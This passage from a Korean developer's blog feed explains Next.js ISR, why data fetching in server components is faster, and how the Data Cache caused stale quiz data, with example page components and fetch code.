이 동안 클라이언트는 <strong>기존 캐시된 페이지(오래된 데이터)</strong>를 계속해서 볼 수 있습니다.</p>
<p><strong>4. 새로운 페이지 생성</strong>
백그라운드 작업이 완료되면, 새로 생성된 페이지가 캐시에 저장되고, 이후 요청부터 갱신된 페이지가 제공됩니다.</p>
<h2 id="적용">적용</h2>
<p>그렇다면 저의 퀴즈 페이지에 적용해보도록 하겠습니다.</p>
<p>우선 기존 SSG 방식의 코드입니다.</p>
<pre><code class="language-tsx">import QuizDetails from &quot;@/app/(page)/quiz/[detailUrl]/_components/client/quizDetails&quot;;
import {quizApiHandler} from &quot;@/app/services/quiz/QuizApiHandler&quot;;
import {Metadata} from &quot;next&quot;;
import React from &#39;react&#39;;


/**
 * 퀴즈 문제 페이지
 * 정적 렌더링 방식
 */

// SSG 실행할 페이지 ID 추출, 서버에 받아오는 PK들은 모두 SSG 방식으로 구현
export async function generateStaticParams() {

    const {data} = await quizApiHandler.fetchQuizDetailUrlList({cache:&quot;no-store&quot;});

    return data.map((url) =&gt; ({detailUrl:url}))

}


// SEO를 위해 메타데이터(title, description) 설정
export async function generateMetadata({
                                           params
                                       }:{
    params:{
        detailUrl:string
    }
}):Promise&lt;Metadata&gt;{

    const detailUrl = (await params).detailUrl

    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return {
        title:data.metaTitle,
        description:data.metaDescription,
        alternates:{
            canonical:`/quiz/${data.detailUrl}`
        }
    }
}

const Page = async ({
    params
                    }:{
    params:{
        detailUrl:string
    }
}) =&gt; {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return (
        &lt;QuizDetails
            quizData={data}
        /&gt;
    );
};

export default Page;
</code></pre>
<p>generateStaticParams 함수를 사용하여 빌드타임때 생성할 페이지 params를 지정해줍니다. 이후 빌드,배포를 하면 제가 생성하고자 하는 페이지들이 다 완성되있죠.</p>
<p>이제 ISR 방식을 적용해보겠습니다.
코드 한줄만 추가하면 끝이네요.</p>
<pre><code class="language-tsx">import QuizDetails from &quot;@/app/(page)/quiz/[detailUrl]/_components/client/quizDetails&quot;;
import {quizApiHandler} from &quot;@/app/services/quiz/QuizApiHandler&quot;;
import {Metadata} from &quot;next&quot;;
import React from &#39;react&#39;;



/**
 * 퀴즈 문제 페이지
 * 정적 렌더링 방식
 */

export const revalidate = 86400 // 하루마다 갱신




// SSG 실행할 페이지 ID 추출, 서버에 받아오는 PK들은 모두 SSG 방식으로 구현
export async function generateStaticParams() {

    const {data} = await quizApiHandler.fetchQuizDetailUrlList({cache:&quot;no-store&quot;});

    return data.map((url) =&gt; ({detailUrl:url}))

}


// SEO를 위해 메타데이터(title, description) 설정
export async function generateMetadata({
                                           params
                                       }:{
    params:{
        detailUrl:string
    }
}):Promise&lt;Metadata&gt;{

    const detailUrl = (await params).detailUrl

    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return {
        title:data.metaTitle,
        description:data.metaDescription,
        alternates:{
            canonical:`/quiz/${data.detailUrl}`
        }
    }
}

const Page = async ({
    params
                    }:{
    params:{
        detailUrl:string
    }
}) =&gt; {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return (
        &lt;QuizDetails
            quizData={data}
        /&gt;
    );
};

export default Page;
</code></pre>
<p>추가된 코드는 </p>
<ul>
<li><code>export const revalidate = 86400</code> </li>
</ul>
<p>이것뿐입니다.</p>
<p>즉, 하루마다 페이지를 다시 빌드하여 갱신하겠다는거죠.</p>
<p>저는 퀴즈 데이터를 관리자에서 하루주기로 업데이트하기에 위와 같이 설정해주었습니다.</p>
<p>생각보다 사용하기에 너무 간편하지만 기능은 너무 유용한 것 같습니다. ISR 굳</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Server Component의 data fetching 장점]]></title>
            <link>https://velog.io/@kcj_dev96/Server-Component%EC%9D%98-data-fetching-%EC%9E%A5%EC%A0%90</link>
            <guid>https://velog.io/@kcj_dev96/Server-Component%EC%9D%98-data-fetching-%EC%9E%A5%EC%A0%90</guid>
            <pubDate>Thu, 05 Dec 2024 07:31:45 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/0e394771-7214-4d84-a623-53018577812c/image.png" alt=""></p>
<p>nextjs 문서의 server component 관련 내용을 살펴보다 더 자세히 이해하고 싶은 부분ㅇ이 있었습니다.</p>
<h2 id="뜯어볼-점-server-component의-data-fetching">뜯어볼 점&gt; Server Component의 data fetching</h2>
<p>살펴보던 중,<a href="https://nextjs.org/docs/app/building-your-application/rendering/server-components#benefits-of-server-rendering">Server Component의 장점</a>에 대해 설명하는 부분이 있는데요.</p>
<p>또한 문서에서는 <a href="https://nextjs-ko.org/docs/app/building-your-application/rendering/composition-patterns">server component에서 data fetching하는 것을 권장</a>하고 있어요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/0e394771-7214-4d84-a623-53018577812c/image.png" alt=""></p>
<p>장점 중 하나로써 다음과 같이 설명하는 부분이 있습니다.</p>
<blockquote>
<p>데이터 페칭: Server Components를 사용하면 데이터 소스에 더 가까운 서버에서 데이터 페칭을 수행할 수 있습니다. 이는 <strong>렌더링에 필요한 데이터를 가져오는 시간을 줄이고</strong> 클<strong>라이언트에서 요청해야 하는 횟수를 줄여</strong> 성능을 향상시킬 수 있습니다.</p>
</blockquote>
<p>위 내용 중 조금 더 이해하고 싶은 부분은 다음이에요.</p>
<ul>
<li>서버 컴포넌트는 렌더링에 필요한 데이터를 가져오는 시간을 줄일 수 있다.</li>
<li>서버 컴포넌트는 클라이언트에서 요청해야 하는 횟수를 줄일 수 있다.</li>
</ul>
<p>위 주장에 대한 이유는 문서가 자세히 설명치 않고 있는데요.</p>
<p>저는 위 주장에 대해 의문이 들었죠.</p>
<h2 id="의문">의문</h2>
<p>a. 클라이언트 컴포넌트(브라우저) =&gt; 백엔드 API 통신 (서버)
b. 서버컴포넌트 (nextjs 서버) =&gt; 백엔드 서버(서버)</p>
<p>위와 같이, a와 b라는 옵션이 있다고 하고 브라우저,next서버,백엔드 API 서버 3개다 물리적 위치가 동일한 한국에 있다고 했을 때, <code>시간적인 측면에서는 네트워크 응답시간이 동일하지 않을까?</code> 라는 의문이 들었어요.</p>
<p>그렇다면 서버컴포넌트에서 통신하는 것이 </p>
<ul>
<li>data fetching의 관점에서 데이터를 가져오는 시간을 어떻게 줄일 수 있다는 것이지? </li>
<li>그리고 어떻게 클라이언트에서 요청해야 하는 횟수를 줄일 수 있다는 것이지?</li>
</ul>
<p>이러한 의문이 들었던 것이죠.</p>
<h2 id="server-component는-데이터를-가져오는-시간을-어떻게-줄일-수-있을까">Server Component는 데이터를 가져오는 시간을 어떻게 줄일 수 있을까?</h2>
<p>그러면</p>
<p>a. 클라이언트 컴포넌트(브라우저) =&gt; 백엔드 API 통신 (서버)
b. 서버컴포넌트 (nextjs 서버) =&gt; 백엔드 서버(서버)</p>
<p>b가 a보다 데이터를 가져오는 시간을 줄일 수 있다는 것인데 어떻게 그럴 수 있는 것일까요?</p>
<p>다음과 같을 때, 데이터 가져오는 시간을 클라이언트보다 더 빨리 가져올 수 있습니다.</p>
<ol>
<li>static Rendering</li>
<li>Cache</li>
</ol>
<h3 id="static-rendering">Static Rendering</h3>
<p>첫번째는 Static Rendering을 이유로 들 수 있습니다.</p>
<p>Static Rendering, 즉 SSG(Static Site Generation)방식인데요.</p>
<p>빌드 타임때, 페이지들을 완성하고 사용자가 해당 페이지로 요청하면 data fetching,rendering 필요없이 빌드타임 때 완성된 페이지를 응답해줍니다.</p>
<p><strong>빌드타임때, 페이지 서버컴포넌트에 필요한 data fetching이 완료</strong>되어, 해당 페이지에서는 불필요하게 data fetching 일어날 필요가 없는 것이죠.</p>
<blockquote>
<p>해당 페이지에 속해있는 클라이언트 컴포넌트 예외로 data fetching이 그대로 일어납니다.</p>
</blockquote>
<p> <strong>클라이언트 컴포넌트에서는</strong> 위와 같은 상황에서 페이지를 구성한다고 하면 해당 <strong>페이지 진입할 때마다 data fetching</strong> 이루어져야합니다.</p>
<p> 하지만 서버컴포넌트와 SSG 방식으로 페이지를 구성한다면 data fetching이 필요없는 것이죠.</p>
<p> 즉, SSG 방식으로 페이지를 구성한다면 클라이언트 컴포넌트에 비해 데이터를 가져오는 시간을 줄일 수 있다고 말할 수 있죠.</p>
<p>예시 코드로 확인해보겠습니다.</p>
<p>아래 코드는 nextjs의 SSG 방식으로 이루어진 서버 컴포넌트입니다.</p>
<pre><code class="language-tsx">import ButtonContainer from &quot;@/app/(page)/quiz/[detailUrl]/explanation/_components/buttonContainer&quot;;
import NextQuizButton from &quot;@/app/(page)/quiz/[detailUrl]/explanation/_components/nextQuizButton&quot;;
import ReturnButton from &quot;@/app/(page)/quiz/[detailUrl]/explanation/_components/returnButton&quot;;
import {quizApiHandler} from &quot;@/app/services/quiz/QuizApiHandler&quot;;
import {Metadata} from &quot;next&quot;;
import React from &#39;react&#39;;
import &#39;prismjs/themes/prism.css&#39;;

export async function generateStaticParams() {

    const {data} = await quizApiHandler.fetchQuizDetailUrlList();

    return data.map((url) =&gt; ({detailUrl:url}))

}

// SEO를 위해 메타데이터(title, description) 설정
export async function generateMetadata({
                                           params
                                       }:{
    params:{
        detailUrl:string
    }
}):Promise&lt;Metadata&gt;{

    const detailUrl = (await params).detailUrl

    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return {
        title:`해설-${data.metaTitle}`,
        description: `해설-${data.metaDescription}`,
        alternates:{
            canonical:`/quiz/explanation/${data.detailUrl}`
        }
    }
}


async function Page({
                        params
                    }:{
    params:{
        detailUrl:string
    }
}) {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)


    return (
        &lt;&gt;
            &lt;h1 className={&quot;text-title1&quot;}&gt;{data.metaTitle} 해설&lt;/h1&gt;
            &lt;div
                className={&quot;prose&quot;}
                dangerouslySetInnerHTML={{__html:data.explanation}}&gt;&lt;/div&gt;
            &lt;ButtonContainer&gt;
                &lt;ReturnButton returnUrl={detailUrl}/&gt;
                &lt;NextQuizButton currentUrl={detailUrl}/&gt;
            &lt;/ButtonContainer&gt;
        &lt;/&gt;
    );
}

export default Page;
</code></pre>
<p><code>generateStaticParams</code>을 통해 정적 페이지를 생성할 params를 전달해주면 빌드 타임때, params에 대한 페이지를 빌드해줍니다.</p>
<p>빌드시, <code>quizApiHandler.fetchQuizDetailByUrl</code> 페이지 정보를 가져오는 API 호출도 같이 하여 페이지를 완성하여주죠.</p>
<p>빌드하고 배포를 한 뒤, 사용자가 해당 페이지에 접속하면 사용자는 API 요청을 할 필요가 없습니다.</p>
<p>API 요청도 완료되고 렌더링도 완료된,빌드 타임 때 완료된 페이지만 응답받으면 되는 것이죠.</p>
<p>위 페이지를 클라이언트 컴포넌트로 구성한다면 얘기가 달라집니다.</p>
<p>사용자가 해당 페이지에 들어갈 때마다 상세 데이터에 대한 data fetching을 해야하는 것이죠.</p>
<p>만약, 수천명의 사용자가 있다고 하면, 이는 많은 API 요청이 동시다발적으로 일어날 수 있는거죠.</p>
<p>하지만 SSG 방식으로 서버컴포넌트를 구성하면, 수천명이 동시다발적으로 페이지에 접근하여도 API 요청은 일어나지 않아도 됩니다. 완성된 페이지만 응답해주면 되니깐요.</p>
<p>즉, 다시 말해, SSG 방식으로 서버 컴포넌트를 구성한다면 클라이언트 컴포넌트를 구성하는 것보다 data fetching을 시간을 전체적으로 봤을 때, 줄일 수 있다고 말할 수 있겠습니다.</p>
<h3 id="cache"><a href="https://nextjs-ko.org/docs/app/building-your-application/caching">Cache</a></h3>
<p>두번째로는 Cache의 사용을 이유로 들 수 있겠습니다.</p>
<p>nextjs 서버컴포넌트에서 활용할 수 있는 캐싱 전략으로 <code>data fetching을 빨리 가져올 수 있다</code>의 뒷받침을 할 수 있습니다.</p>
<p>Nextjs 서버컴포넌트,data fetching 관점에서 두가지 캐싱 이점을 확인할 수 있습니다.</p>
<ul>
<li><a href="https://nextjs-ko.org/docs/app/building-your-application/caching#request-memoization">request-memoization</a></li>
<li><a href="https://nextjs-ko.org/docs/app/building-your-application/caching#data-cache">Data Cache</a></li>
</ul>
<h4 id="request-memoization"><a href="https://nextjs-ko.org/docs/app/building-your-application/caching#request-memoization">request-memoization</a></h4>
<p>request-memoization은  동일한 URL과 옵션을 가진 요청을 자동으로 메모이제이션해줍니다. React 컴포넌트 트리의 여러 곳에서 동일한 데이터를 가져오기 위한 fetch 함수를 호출할 때 한 번만 실행된다는 것을 의미합니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/68128f9f-4ceb-4ff7-9956-1ad37b729dad/image.png" alt=""></p>
<p>경로 전체에서 동일한 데이터를 사용해야 하는 경우(예: Layout, Page 및 여러 컴포넌트에서), 같은 API 요청을 여러번 해야할텐데요.</p>
<p>request-memoization은 여러번 API 요청을 하지않고 초기 API 요청 한번만 하고 그 뒤에 나머지 API 요청은 캐싱된 데이터를 사용할 수 있게 해줍니다.</p>
<p>API 요청을 할 때, 캐싱된 데이터를 가져온다면 API 서버에서 가져오는 시간보다 더 빠르게 가져올 수 있겠죠.</p>
<p>이를 통해, <code>data fetching을 더 빨리 할 수 있다</code>라고 말할 수 있습니다.</p>
<h4 id="data-cache"><a href="https://nextjs-ko.org/docs/app/building-your-application/caching#data-cache">Data Cache</a></h4>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/beaadde3-7ad7-48d7-bdca-2bf3c0298e8f/image.png" alt=""></p>
<p>Data Cache는  서버 컴포넌트에서 사용할 수 있는 전략으로 서버 요청과 배포 간에 <strong>데이터 페치를 지속적으로 유지</strong>하는 내장 데이터 캐시입니다.</p>
<p>초기에 data fetching을 한 뒤, 해당 API 응답 결과를 next 서버에 저장하고 있습니다.
이는 새로고침하여도 캐시가 날라가지 않고 서버를 종료하여도 날아가지 않습니다.</p>
<p>초기 API 통신을 하고 난 뒤에는 백엔드 API 통신을 통해 데이터를 가져올 필요없이 Data Cache에서 가져오면 됩니다.</p>
<p>이 또한, 캐싱된 데이터를 가져온다면 API 서버에서 가져오는 시간보다 더 빠르게 가져올 수 있겠죠.</p>
<p>이를 통해, <code>data fetching을 더 빨리 할 수 있다</code>라고 말할 수 있습니다.</p>
<p>즉,서버컴포넌트에서 data fetching을 하면 nextjs의 <code>request-memoization</code>와 <code>Data Cache</code>를 통해 클라이언트 컴포넌트보다 더 빠르게 data fetching을 할 수 있다고 말할 수 있습니다.</p>
<h3 id="서버간의-물리적-거리">서버간의 물리적 거리</h3>
<p>맨 처음 문서에서 확인하면 다음과 같은 말이 있는데요.</p>
<blockquote>
<p>데이터 페칭: Server Components를 사용하면 <strong>데이터 소스에 더 가까운 서버</strong>에서 데이터 페칭을 수행할 수 있습니다.</p>
</blockquote>
<p>이것은 항상 더 가깝다고 보장할 수는 없습니다. 하지만 보통은 <strong>데이터 소스에 더 가깝게 서버들을 구성</strong>하죠.</p>
<p>예를 들어, 저의 경우, 프로젝트를 구성할 때 aws을 통해 서버 인스턴스들을 구성했는데요.</p>
<p>다음과 같이 구성했어요.</p>
<ul>
<li>nextjs 서버(ec2 서울)</li>
<li>API 서버(ec2 서울)</li>
<li>DB 서버 (RDS 서울)</li>
</ul>
<p>3개의 서버 다 aws 서울 데이터 센터에 존재합니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ec3cb915-53e7-42a0-8764-e1997d18f5f4/image.png" alt=""></p>
<p>위와 같이 서버들이 구성되어있고 부산에 있는 사용자가 저의 웹사이트에 접속했다고 해볼게요.</p>
<p><strong>서버 컴포넌트에서 data fetching할 때</strong>
페이지가 서버컴포넌트로 구성되어있을 때, 처음 페이지에 접근하면 부산에 있는 사용자의 컴퓨터에서 서울에 있는 next서버로 접근하겠죠.</p>
<p>next서버는 같은 데이터 센터에 있는 API서버로 data fetching을 하여 데이터를 받아와 페이지를 구성하여 부산에 있는 사용자에게 전달합니다.</p>
<p>사용자는 단지, 페이지에 대한 요청만 하면 되죠.
사용자 측면에서 렌더링에 필요한 통신 한번이면 됩니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/5c526e98-f15a-40fb-8a46-c2fd0ebce7cf/image.png" alt=""></p>
<p><strong>클라이언트 컴포넌트에서 data fetching할 때</strong>
페이지가 클라이언트 컴포넌트로 구성되어있다면, 부산에 있는 사용자는 서울에 있는 next 서버로 우선 page에 대한 요청을 합니다.다음으로 페이지에 있는 API 요청을 서울에 있는 API 서버로 요청을 합니다.</p>
<p>사용자 측면에서 렌더링에 필요한 통신을 2번하게 되는 것이죠.</p>
<p>위와 같은 상황을 보았을 때에도 서버 컴포넌트에서 data fetching을 하는 것이 더 빠를 수 있다고 할 수 있을 것 같습니다.</p>
<p>next 서버와 API 서버가 같은 데이터 센터에서 통신을 하니 어디에 있을지 몰라 사용자가 API 통신하는 것보다 더 빠르게 응답해줄 수 있는거죠.</p>
<p>뿐만 아니라,만약 하나의 페이지에서 여러 API 요청을 해야한다면 어떨까요?
만약 특정 페이지에서  5개의 API 통신을 해야한다고 해보죠.</p>
<p>클라이언트 컴포넌트에서 통신한다면 미국에 있는 사용자가 5번을 서울에 있는 API 서버와 통신해야해요.</p>
<p>하지만 서버 컴포넌트에서 통신한다면 1번만 통신하면 됩니다. 서버 컴포넌트는 API 통신들을 병렬적으로 처리합니다.사용자가 서버컴포넌트로 이루어진 페이지에 대해 요청을 하면 서버는 5개의 API 통신을 병렬적으로 처리하여 사용자에게 응답해줍니다.</p>
<p>즉, 클라이언트 컴포넌트처럼 5번 일일히 요청을 할 필요가 없다는 것이죠.</p>
<p>위처럼 서버컴포넌트에서 통신을 하면 물리적 거리 단축의 장점과 API 에 대한 일괄 처리가 있기 때문에 data fetching 시간 절약에 도움이 될 수 있겠어요.</p>
<blockquote>
<p>다만  브라우저와 서버, 데이터 소스가 동일한 물리적 위치에 있다면, 물리적 거리 단축에 따른 장점은 상대적으로 작을 수 있습니다.</p>
</blockquote>
<p>다음으로 의문들었던 부분을 살펴보죠. 이미 답은 위에서 한번 언급되었네요.</p>
<blockquote>
<p>서버 컴포넌트는 API 통신들을 병렬적으로 처리합니다.</p>
</blockquote>
<h2 id="server-component는-클라이언트에서-요청해야-하는-횟수를-어떻게-줄일-수-있을까">Server Component는 클라이언트에서 요청해야 하는 횟수를 어떻게 줄일 수 있을까?</h2>
<p>위에서 언급했듯이 서버 컴포넌트는 API 통신들을 일괄적으로 처리합니다. 사용자가 특정 페이지에 접근하였을 때, 페이지에 있는 API들을 모두 통신한 다음, 해당 응답 정보를 html 렌더링한뒤, 사용자에게 전달해줍니다.</p>
<p>정확히 말하면 스트리밍 렌더링 기능을 사용하여 데이터가 모두 준비되지 않았더라도 가능한 HTML 부분을 먼저 사용자에게 전송할 수 있습니다.</p>
<h4 id="서버-컴포넌트로-구성했을-때">서버 컴포넌트로 구성했을 때</h4>
<p>아래와 같이 서버 컴포넌트로 구성된 페이지와 클라이언트 컴포넌트가 있다고 가정해보죠.</p>
<pre><code class="language-tsx">// server component
&quot;use server&quot;

import React from &#39;react&#39;;

async function Page() {

    await fetch(&quot;https://api.server.com/a&quot;)
    await fetch(&quot;https://api.server.com/b&quot;)
    await fetch(&quot;https://api.server.com/c&quot;)
    await fetch(&quot;https://api.server.com/d&quot;)
    await fetch(&quot;https://api.server.com/e&quot;)

    return (
        &lt;div&gt;&lt;/div&gt;
    );
}

export default Page;</code></pre>
<p>서버 컴포넌트로 구성된 위 페이지에 사용자가 접근을 하면 사용자는 우선 위 페이지에 대한 요청을 먼저 합니다. </p>
<p>그 다음엔 서버에서는 해당 페이지에 대해 요청이 들어왔으니 페이지 내부에 있는 API 요청들을 백엔드 API와 통신을 합니다. 그리고 API 응답 처리를 다 한 페이지를 사용자에게 응답해줍니다.</p>
<p>사용자는 단 한번의 페이지에 대한 네트워크 요청만 하면 됩니다.</p>
<h4 id="클라이언트로-구성했을-때">클라이언트로 구성했을 때</h4>
<pre><code class="language-tsx">// client component
&quot;use client&quot;

import React from &#39;react&#39;;

async function Page() {


  useEffect(() =&gt; {

    await fetch(&quot;https://api.server.com/a&quot;)
    await fetch(&quot;https://api.server.com/b&quot;)
    await fetch(&quot;https://api.server.com/c&quot;)
    await fetch(&quot;https://api.server.com/d&quot;)
    await fetch(&quot;https://api.server.com/e&quot;)

  },[])


    return (
        &lt;div&gt;&lt;/div&gt;
    );
}

export default Page;</code></pre>
<p>위와 같은 경우에는 우선 페이지에 대한 요청을 해야겠죠.
그 다음으로 5번의 API 요청을 해야합니다.
페이지 요청까지 하면 6번의 네트워크 통신을 해야하죠.</p>
<p>만약 사용자가 저 멀리 미국에 있다면 6번의 통신은 꽤 오래 걸릴 수도 있어요.</p>
<p>위처럼 서버컴포넌트에서 data fetching을 하면 API 요청들을 다 해결한뒤, 해결한 페이지만 사용자에게 응답해주면 되기 때문에 클라이언트에서 요청해야 하는 횟수를 줄일 수 있다고 말할 수 있습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[변경된 데이터가 왜 반영이 안될까요? (Nextjs의 Data Cache)]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%B3%80%EA%B2%BD%EB%90%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0%EA%B0%80-%EC%99%9C-%EB%B0%98%EC%98%81%EC%9D%B4-%EC%95%88%EB%90%A0%EA%B9%8C%EC%9A%94-Nextjs%EC%9D%98-Data-Cache</link>
            <guid>https://velog.io/@kcj_dev96/%EB%B3%80%EA%B2%BD%EB%90%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0%EA%B0%80-%EC%99%9C-%EB%B0%98%EC%98%81%EC%9D%B4-%EC%95%88%EB%90%A0%EA%B9%8C%EC%9A%94-Nextjs%EC%9D%98-Data-Cache</guid>
            <pubDate>Wed, 04 Dec 2024 14:47:45 GMT</pubDate>
            <description><![CDATA[<h1 id="nextjs의-data-cache">Nextjs의 <a href="https://nextjs.org/docs/app/building-your-application/caching#data-cache">Data Cache</a></h1>
<p>결론부터 말하자면 nextjs의 Data Cache의 기능으로 캐싱된 데이터를 계속 불러오기 때문입니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/4411d216-7cfa-4be7-be0e-a9f93721fce5/image.avif" alt=""></p>
<h2 id="상황-및-원인-분석">상황 및 원인 분석</h2>
<p>퀴즈 관련 프로젝트를 진행하고 있습니다. 
퀴즈 페이지는 하나의 퀴즈를 가지고 있습니다.
그리고 각 문제들은 관리자에서 관리해주고 있는 상황입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/9854ac89-79fa-4418-8436-c74056e56b5d/image.png" alt="">
<img src="https://velog.velcdn.com/images/kcj_dev96/post/952dced5-4d03-4bdd-a9a0-d57eb127cd37/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/1487ad90-0f51-48c2-a6c8-d8eba519bd88/image.png" alt=""></p>
<p>2가지 상황에서 문제가 발생했는데요.</p>
<ol>
<li>페이지에서 퀴즈 데이터 호출시</li>
<li>빌드시</li>
</ol>
<p>차례로 상황을 살펴보겠습니다.</p>
<h3 id="페이지에서-퀴즈-데이터-호출시">페이지에서 퀴즈 데이터 호출시</h3>
<p>퀴즈 페이지에서 퀴즈 데이터 호출시, 관리자에서 변경한 데이터가 아닌 이전 데이터를 계속 호출하고 있는 상황입니다. 데이터가 최신화되지 않는 것이죠.</p>
<h4 id="변경전-데이터">변경전 데이터</h4>
<p>기존에 개발을 위해 관리자에서 다음과 같이 임의의 데이터를 집어넣었어요. </p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/159779e7-aaa9-493d-ac4a-a0b13712bf35/image.png" alt="">
<img src="https://velog.velcdn.com/images/kcj_dev96/post/4c34476f-835b-4c3a-8ce3-0c7b72750785/image.png" alt=""></p>
<h4 id="변경후-데이터">변경후 데이터</h4>
<p>개발을 완료하고 관리자에서 위 퀴즈 데이터를 수정을 해줬는데요. 원래라면 다음과 같이 화면이 제가 원하는대로 나와야합니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/53127c4a-d906-41f5-9b65-c1f37bca2986/image.png" alt="">
<img src="https://velog.velcdn.com/images/kcj_dev96/post/eee3c26e-bde3-40df-92f7-66902c13c713/image.png" alt=""></p>
<h3 id="관리자에서-데이터를-업데이트했지만-데이터가-변경전-데이터가-나온다">관리자에서 데이터를 업데이트했지만 데이터가 변경전 데이터가 나온다?</h3>
<p>하지만 관리자에서 업데이트한 데이터가 나오지않고 변경전 데이터가 화면으로 나옵니다.
확인해보니 데이터 자체도 이전 데이터가 들어오니, 당연히 변경전 데이터가 나오는 것이겠지요.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/159779e7-aaa9-493d-ac4a-a0b13712bf35/image.png" alt="">
<img src="https://velog.velcdn.com/images/kcj_dev96/post/4c34476f-835b-4c3a-8ce3-0c7b72750785/image.png" alt=""></p>
<p>DB를 확인해보면 관리자에서 변경한 데이터가 잘 들어가 있는 것도 확인했습니다.
<img src="https://velog.velcdn.com/images/kcj_dev96/post/b7a9e96f-197d-4f4f-8f5a-655ec0700220/image.png" alt=""></p>
<p>그렇다면 왜 이전 데이터가 나오는 것일까요?</p>
<h3 id="빌드시에도-이전-데이터를-기반으로-페이지-생성">빌드시에도 이전 데이터를 기반으로 페이지 생성</h3>
<p>빌드를 할때도 마찬가진데요.</p>
<p>현재 저는 퀴즈 페이지를 SSG 방식으로 구성하고 있습니다.
빌드시에 페이지를 생성하는 방식이죠.</p>
<p>그래서 현재 DB에는 퀴즈 관련 데이터가 아래와 같이 3개의 데이터가 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/def1bdee-1c3d-4857-9c69-abe60d252a0a/image.png" alt=""></p>
<p>그렇다면 프론트에서도 빌드를 하게 되면 3개의 페이지가 나오는 것이 맞겠죠?</p>
<p>하지만 프론트에서는 아래와 같이 하나의 데이터에 대한 페이지 빌드하고 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/2787aaed-3415-4ae7-a8ca-08da2c1b99d5/image.png" alt=""></p>
<p>즉, 변경된 데이터가 아닌 이전 데이터에 대하여 빌드하고 있다는 건데요.</p>
<p>그렇다면 왜 이전 데이터에 대해 빌드를 하는걸까요?</p>
<h2 id="cache">cache</h2>
<p>답은 캐시(cache)에 있었습니다.</p>
<p>서버에 있는 캐시 데이터를 불러오게 되어 변경후 데이터는 불러오지 않게 되는 것이죠.</p>
<p>nextjs 문서에 cache 관련 내용 중 <a href="https://nextjs.org/docs/app/building-your-application/caching#data-cache">Data Cache</a> 부분을 살펴보면 이에 대한 내용이 자세히 나옵니다.</p>
<h3 id="data-cache">Data Cache</h3>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/4411d216-7cfa-4be7-be0e-a9f93721fce5/image.avif" alt=""></p>
<blockquote>
<p>Data Cache
Next.js has a built-in Data Cache that persists the result of data fetches across incoming server requests and deployments. </p>
</blockquote>
<p>Next.js는 서버에서 데이터를 요청(fetch)할 때, 데이터를 메모리에 저장해두는 Data Cache라는 공간을 제공하는데요.</p>
<p>이 Data Cache는 서버 요청 사이에서도 유지되며, <strong>서버가 다시 시작되거나 코드가 배포(deployment)</strong>되더라도 계속 유지될 수 있습니다.</p>
<p>즉,nextjs 서버 캐싱 공간에 백엔드 API에서 불러왔던 데이터가 저장되있다는 것인데요.</p>
<p>때문에 DB에 있는 데이터가 변경된다하더라도 <strong>DB에 있는 변경된 데이터를 가져오는 것이 아닌, nextjs 서버내 캐싱 데이터를 계속해서 가져오는 것</strong>입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/06121f50-62cd-45d5-8c04-11cc1c1beae6/image.png" alt=""></p>
<p>백엔드 서버 로그를 통해서도 알 수 있는데요.</p>
<h4 id="cache-설정-안할시">cache 설정 안할시</h4>
<pre><code class="language-ts">    // 퀴즈 상세 조회(상세 URL)
    async fetchQuizDetailByUrl(detailUrl: string): Promise&lt;IResponse&lt;QuizItem&gt;&gt; {
        return this.request&lt;QuizItem&gt;(`quiz/detail-url/${detailUrl}`, {
            method: &quot;GET&quot;,
            cache: &quot;no-store&quot;,
        });
    }</code></pre>
<p>위는 API 요청 함수이며 fetch를 사용하고 요청하고 있는데요.
option 값으로 cache 값을 <code>no-store</code>로 설정하면 캐싱을 하지않도록 설정가능합니다.</p>
<pre><code class="language-tsx">const Page = async ({
    params
                    }:{
    params:{
        detailUrl:string
    }
}) =&gt; {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)

    return (
        &lt;QuizDetails
            quizData={data}
        /&gt;
    );
};</code></pre>
<p>퀴즈 페이지에서 새로고침을 해보면 백엔드로 API 요청이 갈 것입니다.</p>
<p>그 다음에 백엔드 서버에서 로그를 확인해보니 아래와 같이 DB로 쿼리문이 나가고 있는 것을 확인할 수 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/777a8abc-1917-45c7-b497-5f43d6b7b722/image.png" alt=""></p>
<p>페이지에 진입할 때마다 백엔드 서버로 API요청이 가고 있는 것인데요.</p>
<p>cache를 설정했을 때에는 어떨지 확인해보죠.</p>
<h4 id="cache-설정시">cache 설정시</h4>
<pre><code class="language-ts">  // 퀴즈 상세 조회(상세 URL)
    async fetchQuizDetailByUrl(detailUrl: string): Promise&lt;IResponse&lt;QuizItem&gt;&gt; {
        return this.request&lt;QuizItem&gt;(`quiz/detail-url/${detailUrl}`,         {
            method: &quot;GET&quot;,

        });
    }
</code></pre>
